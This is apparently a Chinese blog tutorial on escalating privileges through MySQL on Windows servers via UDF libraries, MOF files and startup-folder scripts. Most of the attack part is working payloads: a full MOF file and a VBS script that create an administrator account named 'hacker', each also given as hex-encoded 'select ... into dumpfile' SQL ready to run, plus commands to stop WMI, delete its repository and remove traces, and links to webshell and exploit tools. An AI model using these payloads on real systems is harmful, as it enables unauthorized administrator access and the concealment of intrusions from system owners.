UDF提权
原理
UDF(user defined function)即用户自定义函数是Mysql的一个拓展接口,用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像version()
函数一样。
用户可以通过自己增加函数对Mysql功能进行扩充,文件后缀为.dll
利用条件:
- 系统版本为:Server 2003、Windows XP、Windows 7及以下版本
- mysql的root用户密码
- UDF存放目录:
- mysql<5.2,存在于系统目录
c:/windows/system32/
; - mysql>5.2,存在于安装目录
MySQL\Lib\Plugin\
- mysql<5.2,存在于系统目录
- 配置项
secure_file_priv
为空,可写文件
提权原理:
- 利用root权限,导入带有调用cmd函数的udf.dll(动态链接库)
- 将udf.dll引入Mysql,即可调用其中的函数进行使用
大神的文章:udf.dll源码
有一个自动化工具:https://github.com/T3st0r-Git/HackMySQL
UDP shell
当目标Mysql在内网中,无法直连Mysql或Mysql不允许外联,这时候使用一些网页脚本就比较方便。
UDF.PHP
https://github.com/echohun/tools/blob/master/大马/udf.php
Navicat Mysql
在Navicat的安装目录下有它自带的tunnel隧道脚本,如下图:
将该脚本上传到目标网站上去,之后在连接的时候设置HTTP隧道:
连接成功后就可以进行手工UDF提权了
MOF提权
原理
MOF提权是一个有历史的漏洞, 基本上在Windows Server 2003的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/
目录下的mof文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个MOF里有一部分是VBS脚本,所以可以利用这个VBS脚本来调用CMD来执行系统命令,如果Mysql有权限操作mof目录的话,就可以来执行任意命令。
mof脚本的内容如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
核心payload为:
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")
利用方法
我们利用Mysql写文件的特性将这个mof文件导入到C:/Windows/system32/wbem/mof/
目录下,执行成功的的时候,该mof文件会出现在:c:/windows/system32/wbem/goog/
目录下,否则出现在 c:/windows/system32/wbem/bad
目录下。
mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";
执行后我们需要对mof文件进行痕迹清理:
因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt
使用msf的exploit/windows/mysql/mysql_mof
的模块进行MOF提权,也可以做到自动痕迹清理的效果。
启动项提权
原理
这种提权常用于Windows系统环境下,当Windows开机的时候都会有一些开机启动的程序,在不同Windows版本中,开启启动程序除了可以在注册表中写入,还可以通过将程序放入指定目录中达到开机启动的效果。
Windows Server 2003 启动项路径:
# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
# 开关机项 需要自己建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown
Windows Server 2008 即以上启动项路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
利用方法
在知道了路劲的情况下,我们需要往启动项中写入脚本,脚本支持vbs和exe类型,我们可以利用cs生成exe后门,然后转换为十六进制编码形式写入,也可以利用vbs执行cmd命令,如下:
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0
使用sql语句将改内容写入
mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
当然我们也可以使用msf的攻击模块exploit/windows/mysql/mysql_start_up
来进行mysql自动化启动项提权
CVE-2016-6663&CVE-2016-6664
后续有时间补充!
参考文章
https://www.sqlsec.com/2020/11/mysql.html
https://wh0ale.github.io/2019/01/06/2019-1-6-Mysql提权/
标签:Windows,Mysql,system32,提权,mysql,mof From: https://www.cnblogs.com/seizer/p/17038566.html